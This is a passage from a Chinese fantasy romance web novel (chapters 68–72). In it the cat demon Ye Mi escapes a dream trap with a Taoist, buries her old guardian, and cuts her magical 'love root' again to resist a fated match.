她应是不为所动的，可她的指尖切实地感受着生命流逝的温热、道士心脏的起伏，这异样陌生的感觉顺着她的指尖潜入她的脉搏，势不可挡地敲击着她的心脉，让她不自禁恍惚起来，隐隐约约的，好似她真的忘了很重要的事情。
“叶米。”
叶米猛然回过神，她唰地把猫爪拔了出来，回头一看，身后却没人，那刚刚说话的女声是……
南显成捂住biu血的伤口，抬起头来望向堂屋中央的观音像。
“叶米。”
猫妖的头剧烈地疼痛起来，她捂住脑袋，道士的血从她脸上滑下来，她疼得面目狰狞，只觉得脑子有东西在牵拉扭扯，让她无法可想，几乎是失去所有力气和手段。
南显成不忍心看她这样，但是他一个将死之人，再说一句话都要命，已经失去了所有力气和手段。
“叶米。”
女声清朗悠扬，像是远方山林里传来的钟声，一声声震荡着叶米的脑子，疼得她在地上打滚，一会儿变成原形的三花猫，一会儿又是人身。
南显成目不转睛地看着她，在她变成三花猫的时候，瞧见她背部一道从脖颈下贯穿到尾巴的伤疤，她的毛很短，这时候因为太疼而全然立起，就让那条不长毛的伤疤更加明显。
受了这样的伤都活下来了。
南显成吃力地侧过一点脸看边上，陈叔早已经不见了踪影。
“叶米。”
“……叶米知错。”她好不容易得了喘气的机会，连忙爬起来对观音像说，“叶米知错，求观音大士原谅……”
南显成发现自己的伤口在缓慢修复，他有了力气，马上帮猫说话：“观音大士，叶米只是受囚梦坑蛊惑，失去记忆不慎走火入魔，其实并无害人之心，再说……陈叔也没死。”
观音像说：“叶米，你心魔太深，才会深陷蛊惑，即使南显成提醒你，你也不愿相信。在你内心深处，是真想要成仙，还是同你先前所说，情愿当一只无拘无束的妖？”
南显成的目光轻轻落在她身上。
叶米跪在地上，垂着脑袋，观音像也瞧不清她的神情，她沉默了好一会后才道：
“一百多年前，我被这些村民所害，身受重伤、垂
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死边缘，您送猫婆婆来救我去白骨林，让我得以苟活，受到关怀。婆婆死后，您指引我去万妖堂修习法术，自那时起，我便下定决心要做一只好妖，不敢辜负这份恩情。”
观音像叹了口气：“难为你还记得。我当初让你来万妖堂，只不过想你有一技傍身，并未要求你成仙，你何必执着？”
叶米坦然看着观音像：“猫族之中，尚未有一妖位列仙班，凡人对猫毫无顾忌，猫族长久以来饱受欺辱，苟且偷生……只因，无仙替它们做主。叶米虽以成妖，但不敢忘猫婆婆，还有一路以来与我同甘共苦的一众野猫。”
这理由正大光明的让观音像都愣了一下。
南显成更是没想到她有如此的宏愿，心想叶姑娘虽然对人喊打喊杀的，但对同族猫还是很义气的啊！
“众生皆苦，若你要成仙，你眼里的众生不能只有猫族。”观音像仿佛也有一丝无奈，“此次你走火入魔，本座按理不该插手，但看在你几位好友苦苦为你求情的份上，故来将你点醒，下不为例。”
叶米神情怔愣，回过神来朝观音像一拜：“叶米明白，多谢观音大士。”
“好孩子……”
这一声虚无缥缈，最后消散于空中。
叶米站起身来，迎着南显成的目光走到他边上，伸出一只手，上边还沾着道士的心尖血呢：“对不住，还有……多谢。”
南显成没多久之前才被她又抓又打的，这会真是有点受宠若惊了，小心拉住了她的手，其实也没敢用力，还是自己站了起来。
叶米就把手收了回来，看他破了洞的胸口的衣衫：“死不了吧？”
“我无碍，”南显成摇摇头，“观音大士已替我疗伤，一点也不疼了，倒是你……”
叶米已经恢复了平静：“没事。”
南显成松了口气，看她静静地站着，又有些不自在起来：“咳……不知为何我们还不能出去？你的心结……”难道真是要杀了那个男人才能完事？
“我想起来了，是有一个心结。”叶米说，“走吧。”
南显成提心吊胆地跟在她后边走，真害怕她要去杀人啊，这一路走过一片废墟的村落，有不少怯怯的眼睛从哪里冒出一点点来，探查猫妖的动静。
叶米走进陈叔的院子的时候，南显成强撑着淡定，其实人快崩溃了。不过当看到叶米捧着一具脱了皮的猫尸出来就要走，脸上也没杀意，心中不安地放松下来。
他一路跟着她，顶着村民们害怕的目光走出了村子，原本村子外边是普通的路的，但这会一眨眼就变成了一片森林，他惊奇地四处望望，感觉到这林子混杂的灵气：“这里是……”
叶米走在前边，头也不回地说：“白骨林。”
林木森森，南显成怕走丢，紧紧跟在她后头，见她轻车熟路地在没有路的森林里走，来到了一棵平平无奇的、下方有一个小树洞的大树下，这棵树倒没什么，不过边上的几颗……树干上都有被磨爪的抓痕。
69. 第 69 章
看见树洞里的草垫，南显成后知后觉地明白这里是叶米和猫婆婆的家。
叶米把猫尸放在树洞里的草垫上，跪在地上开始挖洞，南显成本来要帮她，但被她拒绝了，只好在边上沉默地看着。
一只猫能有多大，所以叶米没一会就挖好了墓穴，她小心地将猫尸连同草垫一起放入其中，将黑猫被扒掉的皮重新给它穿上，又用法术将其恢复完好，定定地和黑猫琥珀色的眼睛对视一会后，轻轻将它合上了眼。
南显成看她寂然的背影，心里密密麻麻的难受。
在盖上土的时候，他瞧见叶米在渐渐变透明，诧异地恍然大悟：“所以……其实你的心结只是……”
叶米手上动作不停，语气微沉，似有许多遗憾：“嗯，当初婆婆不愿我伤心，趁我去找仙虫独自离开，我回来之后本是想找到她的尸体为她安葬，毕竟白骨林是她十几年的家，她却因我离开……”
“可我没找多久就碰见了观音大士，她说婆婆不想让我费心找寻，要我作罢，又叮嘱我吃下仙虫早日化形，潜心修炼找机会去京城的万妖堂学习法术……我虽听了话，但心中始终有一份遗憾。”
南显成讶然，恍惚道：“竟是如此，我原以为……”
叶米平静道：“那些无关紧要的人，我早就不记得了。”伤害过她的人、差点要置她于死地的人可太多了，叶米哪里记得过来。
更何况，这一百多年的浮浮沉沉，她早已明白，对一只猫来说，这些凡人的过错无法去谴责，没理去讨债，所有的一切不过是弱肉强食，她们做猫的生来悲哀罢了。
她不该沉溺于这些，而是要想办法改变这一切。
“只是没想到……”叶米轻笑一声，“这心结的背后还有这样的故事。”
若她当初没听话，执意要找猫婆婆的尸体，也许结局不会和这梦境差多少。
南显成哪里没想通这其中的因果差错，暗暗心惊。看叶米跪在地上轻轻抚平那块土，忍不住说：“叶姑娘，是他们对不起你，我替他们……”
“我不需要对不起。”叶米站起来，她看着树下空荡荡的洞穴，混着血和泥的双手缓缓攥紧，“也不需要任何悔过，这些根本不重要。”
那重要的是什么？
南显成没来得及问，叶米已经消失了，可她那双暗藏汹涌的猫瞳似乎一直在那里，弥散在空中，无处不在地盯着他。
三妖在外边急得要死，腿都跪麻了。谢珍珠更是流干了眼泪，哪怕身处河水之中，也有种眼眶红肿干涉的难受。她怎么也没想到出事的会是叶米，若是她出事的话，其他三妖都会不由得想：
连叶米都解决不了的难题，他们还能做什么？
所以此时此刻，三妖的心里已是哀戚多过于希冀，随着时间一点一滴过去，后者就越发得少，最后只剩下一个捉摸不住的念头。
就在此时，叶米和南显成出来了。
……这跟诈尸也没什么区别了。
三妖大吃一惊、大惊失色，半惊半喜地跳了起来。谢珍珠更是哇地一声哭出来，扑上去说：“叶米！你还活着呜呜呜呜……我还以为你真要走火入魔了，这、这倒也还好，最怕你出不来呜呜呜……”
叶米出来的时候还看见他们跪着，在里头也听观音大士说了是他们在为自己求情，心里也有一些感慨和感动，便没嫌弃谢珍珠哭得乱七八糟，颇为好声好气地点点头说：
“观音大士受你们感动，特来点醒我，这次多亏了你们，这份恩情我会记得。”
“什么恩情不恩情的……”万情贞也高兴地挠头，“嗐，其实我们也没做什么。倒是南公子都吐血了，里面到底发生了什么？”
南显成笑了笑：“我没事，只是一些小误会。”
胡和烈见他们安然出来，也松了口气，他心里始终觉得叶米不会死得那么容易，只是这念头属于没由来的，所以难免担忧：“现在没事了，赶紧想法子出去这破坑。”
他又说了其他四棵菩提树消失的事，南显成听了，思索道：“我们有五人，正巧有五棵菩提树，叶米未出梦之前，四棵树都消失了，难道只是巧合？”
“说是巧合……”谢珍珠抬眼看向边上的大树，“如今叶米也出来了，这棵树却还没有消失呢？”
“难道……”胡和烈看着菩提树的眼神也不对劲了起来，“这棵树就是囚梦坑阵法的阵眼所在？”
这时候叶米也打量完了树，语气肯定道：“当时我们分了五个方位，碰见了五棵树，可这棵树并不是我碰见的那颗。若你们的猜测不错，五棵树分别代表我们五个的梦境，那合理怀疑，这些树是有选择性地选人陷入自己构造的梦境。”
南显成越听她分析越有道理：“而叶姑娘的梦境是最危险狡猾、最耗费灵力的，所以这棵树的灵力也应是最强盛……确实很可能就是囚梦坑的阵眼，而它如今并未消失，怎么不算是一种佐证？”
谢珍珠见他们怀疑树，不由得替树说些好话：“南公子，你先前可不是这么说的，你说这树是佛门圣树，附着了观音神力……而且我们向菩提树祈求，观音娘娘确实也听到了呀。”
南显成闻言，却是一笑：“谢姑娘说得有理，恰恰说明了这树就是问题所在。”
谢珍珠：？
叶米摸摸树干，给螃蟹精解释：“万物阴阳相生相克，观音神力在此，也许是为了护住了?鱼的性命，让那些百姓尚有一线生机；但也被囚梦坑所利用，源源不断地为阵法提供灵能。不然这几年来少了那么多渡河的村民，阵法入不敷出，很难运作。”
胡和烈望向菩提树茂密的树叶，长势比陆地上许多树要好：“看来这棵树不得不除。”
“现在正是好时候，”叶米眸光微闪，“阵法刚刚经历过我们这一
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轮，灵力耗散，本是该好好休整，等下月十五十六。”
万情贞恍然大悟：“所以十五是它法力最强盛的时候，我们不一定破得了阵法，正是要以身入局、破解梦境消耗它灵力之后，才有胜率破阵？”
南显成若有所思：“原来是环环相扣的。”
胡和烈往边上走了两步，干脆地坐下打坐：“事不宜迟，何时开始？”
“现在。”
他们破阵用的是道家的术法，南显成也能出一份力，四妖一人围绕着菩提树团团打坐，这树之大，他们几乎看不见彼此，只全神贯注地施展破阵大法，就见五道灵光从他们指尖飞出，穿透了菩提树粗壮的树干交汇在一起。
一开始没什么动静，无声无息地仿佛什么都没有发生。可他们并未因一时的无用而放弃，继续源源不断地输送着法力，不过多时就感到底下坐着的地面有什么东西在隐隐震动。
震感很快就强烈起来，由深不见底的树根开始，直冲而上，连带着树干、树枝和树叶，开始剧烈地挣扎咆哮，周遭的河水变得汹涌澎湃、狰狞骇人，仿佛河里在狂风大作，吓跑了许多鱼群。
几妖也差点被这动静震得要乱倒，好险他们同在破阵大法之中，灵力相连，互相依靠，叶米和胡和烈虽然法力减弱，但瘦死的骆驼比马大，较其他两妖还是要稳妥许多。
最终菩提树强撑不过这持续不断的攻势，从五道灵力的交汇之处荡出一阵强劲的灵气，这一下直接把几妖震飞了，幸好这只是垂死前最后的挣扎，灵气散出成一个极大的光圈，直直地往上飞去，荡开了沉寂的水面和深不见底的雾气。
不知是何时的阳光破开水面洒了下来，照得水底一片澄净。
原来已经是隔日早晨。
几妖被震飞之后各有各着地的姿势，幸好只是狼狈了一些、虚脱了一些，倒是没有受伤。大家伙都察觉到囚梦坑里不明显的变化，大概就是阵法已破，那股隐隐约约让人心神不宁的力量已经消失了。
不过接下来他们还有一个难题，就是这些?鱼怎么办？后来几妖商量了一下，觉得还是把这些鱼先送回村里去，就是变成鱼、就是要死，能够落叶归根也算是安慰了吧。
他们又费了好大的劲儿让这些鱼飞起来，还好?鱼们呆呆傻傻的还算安分，就这么飞出了河里，飞到了空中，形成一长条鱼做的空中飞桥，每一条鱼儿在日光下闪着水光，一排排飞回了近莱茵村的岸边，这奇观惊动了岸边的人。
令他们没想到的是，?鱼落地之后居然变换成了人形，就在几妖惊诧这些躺在岸上的人是死是活的时候，一个十几岁的姑娘先醒了过来，擦了擦眼睛，懵懂地往四周看了看，似乎不明白情况。
通往莱茵村的小路那边有许多村民为了看空中鱼桥而满脸新奇地赶来，并不知道接下来要与许久未见的亲人重逢，感受人生难得的莫大惊喜。
70. 第 70 章
过了莱茵河一关后，几妖和道士精疲力尽地歇息了一天一夜。
话说这日晚上，道士做了一个奇怪的梦，他梦到了所谓的前世的片段，第一世救了一只有些眼熟的三花猫，第二世的场景就更熟悉了，完全是昨日猫妖幻境中的情形，而他竟是村民口中的“四年前救了猫”的小成。
南显成从梦中惊醒，额头上盖了一层薄薄的汗水，他睡意未散地恍惚了一会，忽然扒开自己的中衣，盯着那道胎记看了许久。
已知第二世的梦境中，陈叔那些村民是真实存在过的，而且也确实发生过叶米差点被杀的事……他在胡和烈以及谢珍珠的梦中时，身份就是他自己，梦境并未给他安排新的身份，可在叶米的梦中，却被那些村民认作“南显成”。
再加上他右臂上的这道疤痕，也和梦中的“自己”为猫挡下的那一刀重合了。这一切难道是巧合？
说起来，他第一次见到叶姑娘的时候，就有一种不知何起的熟悉感……
南显成坐在床上，久久回不过神来。
叶米过度劳累，难得起得晚了一些，这时候外边天已经大亮，街上的喧闹声模模糊糊地传进来，热闹极了。隐隐约约还有一股食物的飘香味，勾得她肚子开始喊饿。
猫简单收拾了一下，决定下楼觅食。他们已经过了河，在莱茵村斜对岸的一个村落里，经过囚梦坑一事，几妖都有不同程度的精力受损、灵力耗散，继续上路就太疲累了，要是遇到什么危险只怕应付不来、得不偿失。
叶米也难得赞同他们多休息两日。
到了客栈一楼大堂，叶米瞧见了坐在靠窗桌边吃饭的南显成和万情贞，这时候她放空的大脑忽然想起来许多东西，比如她在梦境中经历的一切——主要是原来南显成救过她命的事。
她瞥了眼万情贞，心想原来这就是姻缘簿把她和南显成结姻缘的原因。这月老果真是老套，救命之恩无以为报以身相许的套路到底要玩几百年啊？
虽不满这样的安排，但对叶米来说，南显成的三世是她的一世，就是不论前世因果，对活了一百多年的她来说，这份恩情始终是明晃晃地、不可置疑地摆在那的，要是南显成死了还好说，这不活过来、又让她遇见了？
于情于理，叶米也很难对他有恶感。
“叶姑娘。”南显成这时候瞧见她，朝她招招手。
叶米点点头作回应，走过去他们边上的空位坐下：“谢珍珠和胡和烈呢？”
万情贞说：“用完早膳就出去逛了，猫大人，你今日难得起晚了。”
他这么说，南显成就紧接着关怀地看着她：“叶姑娘，你身体可有大碍？”
叶姑娘说自己没事，和小二点了碗面来吃，万情贞听闻这村里有一个书肆，他说要去看看，这就走了，只留下一妖一道士。
叶米咽下面，抬头看了一眼，发现南显成已经用完早膳，正发呆地看着自己，这一下和她对视上，非常不自然地移开了视线，神情慌张。
叶米：……
对方一副有话要说的模样，她也懒得猜：“你有话和我说？”
南显成是有话要说的，无非也就他梦里那些事，但他觉得这么提起来，好像有些别有所图地在找她求证自己救过她命的事似的……可他没有这个意思，只是要说的话又只能从这事入手，他就不知如何开口。
叶米见他神色犹豫，又追问了一句：“你想说什么便说，我又不会杀了你。”
她对事好坏的判断总是在生与死的层别上，让人更难琢磨她可能会有的态度，南显成斟酌着开口：“也不是什么要紧的事，只是想问问昨日囚梦坑中你梦里的情况，那些村民……好像认识我。”
叶米一下就明白过来：“对，那正是你的前世。”
南显成虽然心中已有猜测，听她这么肯定也是一愣：“若真如此……那我和你……”
叶米：“嗯，你是救了我。不止如此，你上上辈子也救过我。”
她承认得这么干脆，南显成连忙认真道：“叶姑娘，我没有别的意思，只是感慨缘分的巧合，原来我们这么早以前就见过……”
叶米放下筷子，坦然道：“我倒是希望你有些别的意思，好让我偿还了这份恩情。要是我们不曾遇见倒好，可如今是这样的局面，我似乎得为你做一些什么。”
“不用！”南显成神色着急，“我并不是来讨要你的回报，与我而言那都是前世的事……不对，就是今世，我若是要帮你，也是心甘情愿、不图回报的，还请叶姑娘不要对我这般……客气。”
救命之恩怎么偿还？还真是很难定量的。
叶米静静地看了道士一会，轻轻叹了口气：“怎么倒是让你有负担了？我的意思是，若是你之后有困难之处，尽管来找我帮忙，就算不是偿还救命之恩，也念在你与我们几妖携手捉妖破阵的份上，我不会见死不救。”
南显成只怕她有压力，见她这么说，心下稍稍放松，露出一个笑来：“好……若是你们有用得上我的地方，我也义不容辞。”
叶米点点头，又从兜里掏出一个形状不规整的小石头递给他：“我在这石头上设了一个小阵法，你注入灵力之后，只要不是天涯海角的距离，便能用传心术找我。”
南显成微愣，有些僵硬地接过那块石头，放在掌心仔细一看，真是一块再普通不过的小石头了，两个指头那么宽，估计她是随便从哪里捡来的，挑选的时候也没上心，不过南显成还很受宠若惊呢：“……多谢你，叶姑娘。”
叶米低头吃面：“总要给我一个报恩的机会。”
南显成自然知道她给他这块石头主要是为了有机会偿还恩情，了结了他们之间的缘分，不过这对他来说是件好事啊，至少分道扬镳之后，也不会从此杳无消息，不知去何处寻她。
道士慢慢握紧手心的石头，感受到它天然的锋
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利带来的轻微刺痛。
叶米没兴趣四处逛，吃完饭就回到了房中打坐调息，几次轮转之后，她长长吐出一口气，感觉体内的灵气又充盈轻快许多，心情也好了一些。在此之后好似就没事干了，叶米感到一点无聊。
这时候她没由来地想起情根的事，又记起万情贞曾说，情根是斩不断的，斩断之后还会再生……猫不懂什么情情爱爱，她细细一想，自己对南显成是不讨厌的，知道他救过自己之后，也是念着想回报他……
这样的情绪会滋养情根吗？
叶米陷入了短暂的沉思，不过像这种能验证的事情她一般是不会多虑的，很快就做了决定，要再把情根掏出来看看。
说做就做，她当时以防万一摘了许多断魂草来，这不就到了“万一”的时候？
第二次也有经验了，她先把胸口划了一道口子，然后施法用断魂草引出情根，依旧是那血肉做的树枝状，一根拇指粗的根衍生出几个分叉枝条，不过这次与上次倒是有些区别，比如那原本光秃秃的枝条上长了几片血肉叶子，叶脉像经脉似的还在跳动。
叶米：什么东西？
她试图把一片叶子摘下来，但这叶子很有韧劲，并不像寻常的叶子那么脆，而是和枝条融为了一体，摘下来无异于割掉一段筋脉。
猫打量着在体外俏生生探头的情根，总觉得它长得比上次看到的还要生机勃勃？这当然很不妙了，叶米反思了一下，自觉与南显成清清白白，绝无任何别的心思，怎么会这样？
难道就算是普通的、同伴之间的情谊也会滋养情根吗？
她不理解。
不过问题不大。
长长了再斩不就行了？
叶米抓住断魂草，屏气凝神地将情根使劲儿拔出一长段来，预想过的疼痛让她皱起了眉头，不过并未使她会断情根的手颤抖一分。
这次她还很有先见之明地侧过了身子，没让断面biu出来的血迹溅到她身上。但令她意外的是，情根第二次被斩断之后似乎有些生气，以迅雷不及掩耳之势地探出来抽了她一巴掌，又歘地缩了回去。
猫：……
她的情根凭什么打她？！斩情根疼的是谁啊？还不是她吗？
叶米用干净的手背抹了把刚刚被抽的脸，擦下来一点血迹，她有些无语，不过也无可奈何，这事要寻仇的话不还是寻到她自己身上来？生气也是没必要的，最后还是默默地把伤口止了血，然后继续打坐疗伤。
她一呆屋里就是一整天，再出来的时候就是晚上谢珍珠来叫她去吃饭。
谢珍珠瞅见她略有些苍白的脸色时还没多想，只当做她昨天灵力耗费太多累到了，还没恢复过来呢，直到下了楼碰到万情贞，后者瞪大眼睛看着猫：“猫大人，怎么一天没见你脸色这么差啊？早上不还好好的？”
谢珍珠这才大吃一惊：“啊？可你不是说叶米一整天都在屋里休息吗……”
71. 第 71 章
“没什么，”叶米轻描淡写道，“以防万一，又斩了一次情根。”
二妖：……！
他俩面面相觑，脑子里都有许多浮想联翩，但是谁也不敢问。
胡和烈和南显成站在远一些的桌边，没听见他们在说什么，前者喊道：“杵在那干嘛，过来吃饭啊！”
叶米瞥了螃蟹精和书灵一眼，若无其事地路过他们。
四妖和道士一边吃饭一边闲谈，胡和烈说他们明天就要走了，不知道道士接下来去哪，道士说他师父传信来说有一处深山上有恶妖横行霸道，他得去看看情况，那深山与四妖要走的方向并不同路，看来分道扬镳是注定的事。
好在他们也不是难舍难分的关系，碰碰茶盏互祝一路顺风之后，就散了宴席，各自回屋里休息了。
万情贞在书肆里淘到了一些新奇的话本，一进屋里就急吼吼地躺上床拿起书，打算好好享受这难得的闲暇时光，毕竟平日里他们风餐露宿的，找块石头当枕头一躺是很正常不过的事，天黑了也没有油灯，路都瞧不清，更别提看话本了。
他看书的时候是半规矩半不规矩的，姿势要舒服，要半躺在床上、枕头垫在脑后看，不能吃东西，不然手指上黏黏糊糊的会弄脏了书。
这会他就是这样的、认认真真地看着手上那本《我在京城开酒楼》，讲得是一个为逃避媒妁之言的女子远离家乡跑到京城，从一个客栈后厨打杂小二一步步偷师学艺，最后成为京城名噪一时的酒楼大东家的故事。
这本书感情戏不多，男主起到一个在每一次吃了女主做的新菜之后在边上大惊失色地说“此等佳肴我在皇宫里二十年都未尝过”的作用，万情贞觉得他还有些可怜，因为他一般只能吃这么一口、然后说了这句话之后，女主的菜就会被其他人一扫而空地吃完。
万情贞怀疑若不是要让男主说这句经典台词，他可能都尝不上一口。
他身为一个书写人间爱恨情仇的书灵，本应对那些满篇情情爱爱、虐来爱去的故事感兴趣的，但这本书很是畅销，他就好奇买过来一看，没想到却被吸引了去，越看越上头。
哎呀，感情戏这样少的话本对他们姻缘簿书灵来说是“闲书”“杂书”，可不能被人知道他在看这个，不然……
“咚咚咚。”
万情贞吓了一跳，连忙从床上坐了起来，左顾右盼之后手忙脚乱地把书藏在了枕头后边，喘了两口气才道：“谁、谁呀……”
“是我。”
万情贞吓了两跳，赶紧下了床去开门：“猫大人，你来找我什么事啊？”
叶米见他神色中暗藏惊慌，挑了下眉：“你在做什么，慌慌张张的。”
万情贞摇拨浪鼓头：“没什么没什么……”
他说没什么，叶米就不再追问了，直入主题道：“我来找你是为了情根一事。”
这可是正事，万情贞的心定了定：“猫大人你的情根怎么了？”
他请叶米进了屋，偷摸着看了看外边，这才小声把门关上，小步跑来给猫斟茶倒水，瞧着有几分殷勤：“我肯定知无不言！”
叶米喝了口茶水，便把情根上长叶子的事和他说了，谁知万情贞也是一副诧异的模样：“这……我对情根研究不多，可长叶子显然是颇有生机之象，我猜是南公子与我们相处了几日，猫大人你也不是冷血无情之人，对他有几分情谊也是正常的。”
说完，他忽然意识到什么，脸色变得恍然大悟：“所以你今日才……”
叶米点点头：“那照这么看，只要接下来不与南显成同路，就不会再长叶子？”
“按道理是这样没错……不过，”万情贞思来想去感到一丝不对劲，“我原以为情根只能在爱情的滋养下生长，可猫大人你对南公子并无男女之情，为何情根还会长大呢……”
叶米的指尖敲了敲桌子：“这也是我想问你的。”
万情贞摸着下巴琢磨，脱口而出：“有一个很合理的解释，就是猫大人你其实对南公子有男女之情，只是你自己不……”
叶米都没等他说完，斩钉截铁道：“不可能。”
“……为何不可能？”
“我与他认识不过几日，哪里至于喜欢上他？”
万情贞：“嗐，世间多得是一见钟情之后念念不忘、情根深种的人。”
“……你觉得我是那样搞不清状况的蠢货？”
万情贞：“怎么可能呢！要不然就是，那叶子其实代表不了什么，是我们多虑了？你看啊猫大人，在你遇见南公子之前，这情根不也长着吗？说明不管有没有男女之情，它都会存在，至于为何会长叶子……嘶……”
半天没问出个所以然，还被怀疑喜欢上南显成，叶米渐渐有些不耐烦了，站起来道：“既然你不清楚，那我不打扰……”
“欸欸等等！”万情贞连忙拦下她，眨巴着眼睛说，“猫大人你别急嘛，我是不了解，但别妖不一定不知道呀，要不然我帮你问问其他的书灵？”
“哦？”叶米又坐了下来，“也行，趁现在大晚上的月光正好。”
万情贞于是正襟危坐，双手在胸前立三指合上，闭着眼睛嘴中念念有词：“上知天界机密事，下知凡间人事意，如令如令……”
很快，他的身前浮现了一个拳头大小的发光球，照得屋里格外亮堂，万情贞的脸上被照出几个明晃晃的亮片。不一会儿，他似乎连接上了什么，万情贞睁开眼，看着发光球问：“不知是哪位仁兄来了？”
发光球一闪：“是我，万情洁。”
叶米：……万情洁？
万情贞没瞧见叶米一瞬间古怪的表情：“原来是你啊洁大哥，小弟有个问题，为什么情根上会长出叶子呢？”
万情洁：“这还不简单？因为动情了啊，情根受情滋养，便长出了叶子。”
万情贞看了看猫：“可是我朋友说，她绝对没有动男女之情。”
万情洁：“她说没有就没有嘛？口是心非的凡人你见得少啊？”
“嘘，你小心说话！”万情贞忍不住提醒他，“我
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朋友不是凡人，是只厉害的妖怪。”
万情洁切了一声：“妖怪的话更不可信！我和你说啊唔唔唔……”
万情贞连忙把发光球用双手捂住，朝一脸默然的叶米笑嘿嘿道：“不打紧不打紧，我再问问别妖！”
他飞快地念了咒语，那发光球忽地一灭，几刻之后又亮了起来，里头传来一个懒散的声音：“大晚上的找我什么事啊？”
万情贞笑道：“原来是万情苦姐姐！”
叶米：……万情苦？
万情贞如此如此，这般这般，万情苦听完之后打了个哈欠：
“这你想不明白啊？我看你是一见钟情的故事看多了。常理来说，一个人爱上另一个人之前，总是发生了许多故事的。比如女主为报杀子之仇潜入男主身边，对男主先恨后爱，痛不欲生；又有爱上了父亲的姨娘的，原本厌恶她的出现抢了母亲的宠爱，后来却情难自禁、肝肠寸断……”
猫越听表情越不对劲，这都是什么乱七八糟的故事？
万情贞听了也觉得心脏揪了起来，脸色微微扭曲：“不愧是万情苦姐姐，你的故事还是这么……别致啊。”
万情贞：谁的爱情到你手里算是完了。
不过他琢磨了一下，大概了解了情况：“所以苦姐姐你的意思是，长出叶子可能说明是我的朋友对那个人有了一些并非男女之情的好感，但继续发展，十有八九会变成男女之情？”
“嗯，”万情苦道，“以我的经验来讲，大概就是结出果子的时候。”
“哦~”万情贞有些担心地看向猫，却见她做了一个砍东西的动作，瞬间明白了，“苦姐姐，我朋友的情况还有些特殊，她把情根斩了。”
发光球的光都凝滞了一下。
万情苦还以为自己听错了：“你说什么？”
万情贞：“她还斩了两次哦。”
“……不是，你朋友为何这么做？”
“嗐，一言难尽。”
“世间的情缘都是记载在姻缘簿上的，”万情苦原本慵懒的声音变得严肃了许多，似乎暗藏一些警告，“凡人无法抵抗姻缘簿的神力。”
“不是凡人，”万情贞强调道，“我朋友是一只很厉害的妖怪。”
他看向叶米，叶米也静静看着他。
“哼。”万情苦哼笑了一声，“千百年来，唯一能改变神书既定走向的只有斗战胜佛齐天大圣，闯进阴曹地府撕毁了生死簿，影响了万千人的命运，在罪该万死之中逃出生天。你朋友有这本事吗？”
她说得这么严重，万情贞先是震惊地张了张嘴，连忙解释道：“她她她没有想犯这么大的罪，只想改变自己的情缘。”
“嚯，那可比撕毁神书更难。”万情苦揶揄道，“撕了书，预言对她的作用便会消失，情缘自然能更改；可不撕书，仅凭她自身来抵抗神力的效用，你觉得胜算如何？”
问完她都不等对方回答，紧接着道：“答案显然，不然为何她斩了两次情根？”
万情贞哑然失色。
72. 第 72 章
“我劝你的朋友不要不自量力。”
万情苦留下这么一句，就断了与万情贞的联系，漂浮在桌上的发光球慢慢地暗淡了光芒，无声消散。
屋内寂静了片刻。
万情贞正琢磨着要怎么安慰猫大人，叶米就站了起来要走：“我明白了，多谢你帮我询问情况。”
“啊？猫大人……”书灵也紧忙站起来，“不用谢的，其实……唉，我哥哥姐姐说的话你也不用太放在心上，嗯……我猜他们也没见过斩情根的妖会有怎么样的后果，只是根据先前的经验说的，你不要灰心啊。”
叶米反倒笑了一声：“我不灰心，总有办法的。”
“是吗？原来猫大人你已经想到许多办法了？”
叶米道：“是啊，大不了把南显成偷偷杀了。”
“……”
猫看他瞬间凝滞的脸色，毫无负担地一转话风：“开玩笑的。”
万情贞即使知道她不会乱杀人，但碍于她的威武，每次她喊打喊杀的时候都难免心惊，而她又常常把这些话挂在嘴上，就让妖觉得她实在是有这样的心思，不过暂且压下了。
书灵撇了下嘴，略有些委屈道：“猫大人你要是想杀人，那也得瞒着我才是，总不能让我难做事吧？”
叶米觉得他说得有道理：“那是自然。不打扰你休息，我走了。”
“好……”
等把叶米送出去、关了门，书灵脑子空空地上了床，靠在枕头上看天花板，静静地放空了一会忽然想起什么，拿出了枕头底下的《我在京城开酒楼》，书签的那一页正好写到女主的师父劝她和男主多接触接触。
女主说：“师父，我每日忙着学做菜研究新菜琢磨怎么超过对门那家酒楼，哪有时间考虑感情的事！”
女主师父：“我也没让你不照顾店里生意啊？不过是空暇时候和人家公子见个面，就是每日联络一炷香的感情，日复一日不也能水到渠成？”
女主认真道：“世上没有那么多两手并抓、鱼和熊掌兼得的好事，我自认也没有那等本事，唯有一心一意、专心致志，才能最大保证我的成功。”
女主师父无奈：“你这孩子怎么这么执拗呢！这么好的一位公子，你不抓紧机会，迟早要被其他姑娘家抢走！”
女主不耐道：“能抢走的我也不稀罕，您别说了，和您说不明白！”
……
万情贞看到这里，撇嘴想，那个只会说“此等佳肴我在皇宫里二十年都未尝过”的男主到底哪里好了，他还急着看女主反杀对门恶心妖的酒楼呢！女主说得也没错啊，能抢走的男人要啥嘞？一点也不真心贞洁，他也不稀罕。
他兀自替女主打抱不平着，感到胸口的闷火烧了上来，便打算喝口水降降火，走到桌子边上，才发现猫大人的茶盏还没收拾呢，里头的茶水还有许多。
这么说来，猫大人刚刚的反应还挺平静的，仿佛已经做好了坏的打算，所以听的时候有所准备，一点也没失态。
书灵坐了下来，给自己倒了杯水，心里的情绪也是蛮复杂的，对他这个看了世间无数爱情故事的书灵来说，猫大人和南显成实在是难得的天赐良缘。
不认识道士之前，大家好奇叶米会和怎样的人两情相悦？和道士相处了几天，有目共睹了他的善良和真诚，很难不觉得他是个值得托付的好人。
说句会挨猫拳的话，书灵有时候都会冒出“要不猫大人就认了这天赐良缘吧”的想法，何必要这么折磨自己呢？斩情根的时候他也在边上看过，现在想起来他都头皮发麻呢……
可是。
书灵刚刚看了《我在古代开酒楼》，这会儿还为女主被劝说去谈恋爱的事感到义愤填膺，于是不免就想，难道他觉得好的东西就是猫大人想要的吗？更何况猫大人的处境比话本中的女主更严峻。
猫想要成仙，神仙和凡人不能相爱，若是叶米决心和南显成在一起，天庭不会接受她的。而大伙儿都知道，叶米满心满眼只有成仙，他们哪怕不清楚缘由，可相处下来，也为她坚毅的意志感触。
可是……
就如苦姐姐说的，世上能改变神书预言的只有胆大包天的孙悟空，还是以一种大闹地府、违法犯忌的方式。叶米自然不能去撕了姻缘簿，这可是重罪，她要是真这样做，成不了仙还是小事，那可是要砍头的！
但就凭斩情根的办法……能逃脱姻缘簿定下的宿命吗？
万情贞不由得操心起来。
说实话，他先前对叶米要斩情根逃脱姻缘一事是抱着一个新奇的、看好戏的态度，但如今回过神来，不知不觉之中就站在了她那一边，不忍看她费劲千辛万苦，最后却竹篮打水一场空。
